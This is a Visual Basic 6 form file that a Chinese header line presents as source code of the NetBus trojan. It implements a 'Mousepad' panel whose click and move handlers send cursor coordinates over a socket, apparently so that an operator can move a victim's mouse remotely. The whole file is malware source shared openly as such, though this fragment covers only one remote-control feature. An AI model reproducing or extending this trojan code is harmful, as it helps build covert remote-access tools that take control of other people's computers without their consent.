mousepad.frm

大名鼎鼎的Netbus木马源程序.

VERSION 5.00
Begin VB.Form Mousepad 
   BorderStyle     =   1  'Fixed Single
   Caption         =   "Mousepad"
   ClientHeight    =   3015
   ClientLeft      =   45
   ClientTop       =   675
   ClientWidth     =   3870
   LinkTopic       =   "Form2"
   MaxButton       =   0   'False
   ScaleHeight     =   3015
   ScaleWidth      =   3870
   Begin VB.Frame Frame9 
      Height          =   2895
      Left            =   120
      TabIndex        =   0
      Top             =   0
      Width           =   3615
   End
   Begin VB.Menu mnuModes 
      Caption         =   "&Modes"
      Begin VB.Menu mnuoff 
         Caption         =   "O&ff"
      End
      Begin VB.Menu mnuclick 
         Caption         =   "&Click"
         Checked         =   -1  'True
      End
      Begin VB.Menu mnumove 
         Caption         =   "Mo&ve"
      End
   End
   Begin VB.Menu mnuhelp 
      Caption         =   "&Help"
   End
End
Attribute VB_Name = "Mousepad"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Frame9_MouseDown(Button As Integer, Shift As Integer, x As Single, Y As Single)
On Error Resume Next
If MPSetting = 2 Then
    WSsnd Str(SetCur) & Format(x / Frame9.Width, ".##") & Format(Y / Frame9.Height, ".##")
End If
End Sub

Private Sub Frame9_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
On Error Resume Next
If MPSetting = 3 Then
    WSsnd Str(SetCur) & Format(x / Frame9.Width, ".##") & Format(Y / Frame9.Height, ".##")
End If
End Sub

Private Sub mnuclick_Click()
MPSetting = 2
mnumove.Checked = False
mnuclick.Checked = True
mnuoff.Checked = False
End Sub

Private Sub mnuhelp_Click()
MsgBox "This will move the cursor." & vbCrLf & vbCrLf & "If the mode is set to 'Off', it will do nothing." & vbCrLf & "If the mode is set to 'Click', you must click on the mousepad to move the cursor." & vbCrLf & "If the mode is set to 'Move', you simply move your mouse around on the mousepad to move the cursor."
End Sub

Private Sub mnumove_Click()
MPSetting = 3
mnumove.Checked = True
mnuclick.Checked = False
mnuoff.Checked = False
End Sub

Private Sub mnuoff_Click()
MPSetting = 1
mnumove.Checked = False
mnuclick.Checked = False
mnuoff.Checked = True
End Sub